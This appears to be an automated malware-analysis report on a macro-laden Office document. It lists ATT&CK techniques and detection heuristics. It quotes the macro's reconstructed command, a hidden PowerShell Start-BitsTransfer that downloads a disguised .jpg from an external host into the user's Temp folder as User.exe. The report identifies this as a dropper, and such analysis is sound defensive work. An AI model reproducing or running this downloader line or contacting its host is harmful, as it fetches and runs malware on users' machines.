MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro reconstructs the command 'cmd /c powershell -w hi Start-BitsTransfer -Sou https://sh3238423.c.had.su/dajecura.jpg -Dest C:\Users\<user>\AppData\Local\Temp\User.exe;' which downloads a file from the specified URL to the user's temporary directory and then executes it. This indicates a downloader or droppper functionality.

Heuristics 7

  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
